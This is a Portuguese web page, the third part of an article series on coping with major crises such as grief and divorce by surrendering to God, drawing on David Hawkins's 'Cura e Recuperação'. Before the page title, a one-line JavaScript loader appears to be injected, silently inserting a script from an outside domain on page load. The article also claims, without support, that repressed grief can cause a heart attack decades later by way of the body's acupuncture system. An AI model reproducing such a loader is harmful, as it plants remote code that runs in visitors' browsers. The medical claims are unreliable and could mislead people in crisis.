;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Como lidar com grandes crises? (Parte 3) - David Hawkins Brasil
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Como lidar com grandes crises? (Parte 3)

Nessa sequência de artigos, onde esse é o terceiro e último, explicamos sobre como lidar com grandes crises que surgem após eventos como luto, divórcio, desfiguramento, acidentes, catástrofes e outros. Explicamos que não é preciso fazer nada sobre os eventos mundanos, só precisamos lidar com a energia das emoções em si.

Já ensinamos 9 práticas para lidar com o assunto, mas não chegamos ao ponto principal de tudo isso: entregar toda a experiência a Deus. Isso não é diferente do que ensinamos até agora, é apenas a intenção com a qual aplicaremos todas as técnicas que aprendemos até aqui. 

É continuar ignorando os pensamentos de que temos que fazer algo no mundo lá fora, aceitar que só precisamos lidar com a energia das emoções em si. A partir daí, que surge a disposição em render os rótulos sobre as emoções e os fatos. É fazendo isso que vamos nos render a Algo Maior. Assim, descobrimos que, na verdade, Deus sempre esteve cuidando disso por nós.

Lidar com grandes crises é a verdadeira prática espiritual

Quando perguntamos as pessoas sobre suas práticas espirituais, elas se imaginam na igreja, em algum culto, rezando, ajoelhadas, rezando o terço ou fazendo o som de OM. Normalmente, é algo atrelado as escrituras sagradas as quais tem afinidade e os rituais que foram estipulados em torno delas. Ao surgir uma grande crise, a pessoa para de praticar tudo isso porque sente que precisa resolver um problema e não tem tempo para isso. 

No entanto, a prática espiritual não é a leitura dos livros sagrados, não é fazer nenhum ritual. A verdadeira prática espiritual é, diante de uma crise, colocar em prática o que aprendemos nos livros sagrados e com os grandes mestres, como Jesus e Buda. 

“É como se não víssemos de verdade a essência da prática espiritual. Não vemos que a prática espiritual traz essas crises agudas, nos traz para elas e que são oportunidades. É aqui que a prática espiritual acontece. As outras eram preparações, coleta de informação e de experiência, decisão de direcionamento e acúmulo de conhecimento espiritual. De repente, aparece o momento da verdade, a hora de praticar.” – Dr. David Hawkins, “Cura e Recuperação”.

Não adianta apenas ter acesso ao conhecimento espiritual, se a gente não coloca em prática nada muda efetivamente em nossas vidas, mesmo que a gente uma rotina sagrada rígida e participe de grupos avançados. 

“As experiências catastróficas são as sementes, a pura essência da experiência espiritual máxima.” – Dr. David Hawkins, “Cura e Recuperação”.

As grandes crises são pontes para grandes saltos de consciência

Quando o “tanque de pressão” de coisas reprimidas ao longo de toda a vida, sobre o qual comentamos no artigo anterior, está com a válvula aberta é a oportunidade perfeita para a verdadeira prática espiritual. Assim, o que parece uma catástrofe para a nossa mente humana é uma oportunidade de ouro aos olhos divinos. É um momento precioso de transformação que nos revela um salto de consciência.

“As catástrofes agudas são os momentos que fazemos grandes saltos, quando só encaramos direta e fixamente dizemos “Eu não vou me desviar da prática espiritual”. Nessa situação somos verdadeiramente confrontados com a prática espiritual real. Isso não é ler algumas frases que soam agradáveis em um livro ou olhar para uma imagem alegre. Na verdade, estamos bem no meio da crise, no núcleo do problema. O núcleo da prática espiritual acontece quando somos confrontados com aquilo que não podemos evitar. É esse confronto direto que gera o salto de consciência.” – Dr. David Hawkins, “Cura e Recuperação”.

Só precisamos lidar com a energia das emoções em si

A sensação ruim vai e volta, como falamos no artigo anterior, não é algo linear, funciona por ondas, onde esse “tanque de pressão” que foi aberto vai se manifestar, mas por vezes a válvula vai fechar para depois ser reaberta de novo. Nosso papel é observar essas sensações com certo distanciamento. 

Apenas observar que estamos descomprimindo todo um montante de energia é o que vai nos dar disposição para seguir em frente, mesmo diante de tanto vai e vem das emoções e das mentalizações. Além disso, não tem como escapar, a porta do celeiro já foi aberta! (conforme explicamos na quarta prática do artigo anterior)

“É como um campo de energia cintilante em que a forma da emocionalidade está tremulando entre raiva para ressentimento, autopiedade, ciúme, acertar as contas, se vingar, odiar, odiar Deus, odiar a si mesmo, culpar a família e a sociedade, o governo e as leis. A mente corre loucamente nesse campo de energia negativa. Podemos ver sua qualidade difusa e sem forma. É como um balde cheio de energia negativa e temos que lidar com o balde, não com as coisas que cintilam dentro dele. Só precisamos lidar com o “todo” da experiência.” – Dr. David Hawkins, “Cura e Recuperação”.

Essa é a descrição do campo de energia difusa (explicado na segunda prática do primeiro artigo) o qual está por trás de todas as emoções e pensamentos. É isso que vamos observar com o propósito de render a Deus e nos curar. 

Conexão com Algo Maior

Tudo isso só faz sentido se nos conectarmos com Algo Maior que nós mesmos, se não seguiremos com sofrimento e sequelas. É aquela pessoa que tem medo de amar novamente para não tem que passar pela dor de perder novamente. Quando, na verdade, o ditado é “Antes ter amado e perdido do que nunca ter amado”.

Quando mesmo anos depois, a pessoa ainda está presa a um ressentimento de uma grande crise é porque não se dispôs a lidar com a dor envolvida e não sabia quais práticas deveria utilizar. Toda vez que elas tentam, acabam novamente presas em tentar mudar o que aconteceu no mundo. 

O pior é que isso começa a se expressar em comportamentos cheios de emocionalidade e com o tempo podem até se transformar em doenças físicas. Assim, a tristeza que não foi vivida quando um membro da família morreu pode sim se expressar como um ataque cardíaco 20 anos depois do ocorrido. 

O que está no sistema nervoso, vai para o sistema de acupuntura do corpo e conecta com alguma crença mental, como resultado, gerando doenças. Isso é o que a psicanálise chama de psicossomático.

O caminho é nos permitir vivenciar isso com o propósito de nos tonarmos ainda mais conscientes da presença de Deus. Vamos aprofundar com mais algumas práticas para podermos tirar essa transformação da teoria e colocar em prática, de uma vez por todas!

Práticas Espirituais para lidar com a energia das emoções em si

10ª. Prática: Rendição Total a Deus

Não importa qual seja a grande crise, qual experiência que estamos vivendo, há um choque como se a gente tivesse batido um carro em velocidade máxima ao muro. É sempre o mesmo campo de energia que é liberado, não importa qual seja a crise que estamos vivendo. Há uma sensação de que estamos estáticos diante da vida e que nem tudo pode ser como a gente quer. 

É justamente essa sensação de que não tem como lidar com isso sozinho, de que chegamos ao nosso limite que nos faz render tudo a Deus, o que pode ser praticado em oração, até que a gente se torne essa oração e o entregar a Deus se torne parte de quem somos, um fluir natural que não precisa mais de palavras. 

Vamos compartilhar uma sugestão de oração simples oferecida no livro: 

“A oração pode ser “Por favor, esteja comigo; mostre-me como render e lidar com essa experiência” e pedir pela consciência da Presença de Deus. Nós estaríamos pedindo a Deus para viver a experiência em vez de nós.” – Dr. David Hawkins, “Cura e Recuperação”.

11ª. Prática: Observe que tem Algo Maior lidando com a experiência por nós

Ao orar conforme na técnica anterior, nos tornamos conscientes de que não estamos verdadeiramente lidando com a experiência, ela está sendo lidada por Algo Maior. É como um campo de energia infinita lidando com toda a situação. 

“É como se um campo de energia, algum modo de existência infinita, algum aspecto do ser, está lidando com a situação.” – Dr. David Hawkins, “Cura e Recuperação”.

A verdade é revelada: a pessoa estava vivendo uma ilusão. Ela se projetava na experiência, dando forma a uma identificação com a dor. A dor vem da resistência em aceitar que a situação é lidada por Algo Maior e não pelo eu pessoal. É porque o ego insiste que precisa resolver o assunto, seja processando alguém, mudando de casa ou de país.  Mas ele sozinho estaria estático como quem bateu em um muro em alta velocidade.

“Existe algo abaixo da emocionalidade que está experienciando essa energia para uma pessoa. Isso está literalmente sendo lidado por algo muito maior do que o eu pessoal da pessoa. Se apenas o eu pessoal menor estivesse presente, a pessoa seria totalmente paralisada e destruída pela liberação das energias durante essas experiências. A pessoa sobrevive a essas experiências, pois existe algo maior do que o eu pessoal, que é mais do que capaz de lidar com essas energias.” – Dr. David Hawkins, “Cura e Recuperação”.

12ª. Prática: Desapegar de curativos e fugas

Essa e a próxima são duas práticas complementares do que atrapalha a rendição total a Deus. Buscar maneiras de fugir do problema, se distanciar dessas emoções com curativos, pequenos prazeres e fugas do dia a dia deixa a pessoa presa nesse ciclo de dor. 

Essas distrações frequentemente nem partem da própria pessoa que está em crise. Muitas vezes a família e até amigos próximos tentam proteger quem está numa situação de crise de diversas maneiras, oferecendo distrações. No entanto, isso acaba não permitindo que a pessoa mergulhe em si e passe pelo seu próprio processo de cura. 

Chegar no fundo do poço pode ser justamente a mola propulsora que vai tirar a pessoa de lá. Quantas vezes não vemos as pessoas falarem que só melhoraram depois que chegaram ao fundo do poço?

“No fundo do poço, no momento mais baixo, a pessoa compreende e aceita a verdade de que “Eu, sozinho, do meu próprio eu pessoal individual, do meu próprio ego, não consigo lidar com isso. Não consigo resolver a situação”.” – Dr. David Hawkins, “Cura e Recuperação”.

13ª. Prática: Render a recompensa secreta em estar mal

Conforme acabamos de mencionar, a pessoa em crise tende a receber bastante atenção e secretamente acaba sentindo um certo prazer nessa posição de vítima dos acontecimentos da vida. 

“A mente também recebe uma recompensa secreta de emoções negativas (como atenção, autopiedade, drama) mais a indulgência no martírio, etc.” – Dr. David Hawkins, “Cura e Recuperação”.

Esse prazer acaba a prendendo nesse ciclo de sofrimento maçante. Inconscientemente, escolhe um pequeno prazer ao invés da Paz de se render a Algo Maior. Para sair disso, basta reconhecer esses pequenos prazeres, e entregá-los a Deus também.

Conclusão

Não é só lidar com as emoções em si, na verdade, quem está lidando com as emoções é Deus. Tudo o que precisamos fazer é uma rendição total e completa a Deus. Devido ao nosso livre arbítrio, o Senhor não pode nos ajudar se essa não for nossa vontade. É por isso que devemos manifestar essa vontade da maneira mais humilde possível.

“Quando a pessoa diz “Se existe um Deus, peço que me ajude”, as grandes experiências transformadoras acontecem e foram registradas ao longo da história desde seu início.” – Dr. David Hawkins, “Cura e Recuperação”.

Há um montante de energia reprimida a ser rendido a Algo Maior, e já sabemos que sozinhos não conseguimos fazer isso. O foco precisa ser mantido, não importa o que aconteça. Enquanto não chegarmos ao fim dessa experiência, não saímos do outro lado de tudo isso, como uma pessoa melhor. 

Como, então, saberemos que acabou? 

Sabemos que essa prática espiritual acabou quando não temos emocionalidade ao falar no assunto, mesmo que ainda haja um arrependimento decente sobre o ocorrido. Não desejamos que a situação seja diferente ou se for uma doença, não nos importamos mais se vamos sair curados ou não. Tudo o que importa é a pessoa que nos tornamos depois disso e o quanto nos aproximamos do Senhor diante dessa grande crise.

“Como podemos dizer quando o trabalho está terminado? Quando finalmente entramos no estado de paz interior.” – Dr. David Hawkins, “Cura e Recuperação”.

Gloria In Excelsis Deo!

Não perca nada!

Essa é só a última parte de uma série de três artigos sobre como lidar com grandes crises. Aqui está o primeiro artigo para recomeçar e aprofundar na leitura sempre que quiser e o segundo artigo para complementar tudo o que você precisa saber.

Leia direto da fonte: livro “Cura e Recuperação” 

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que Pandora Treinamentos absorveu, pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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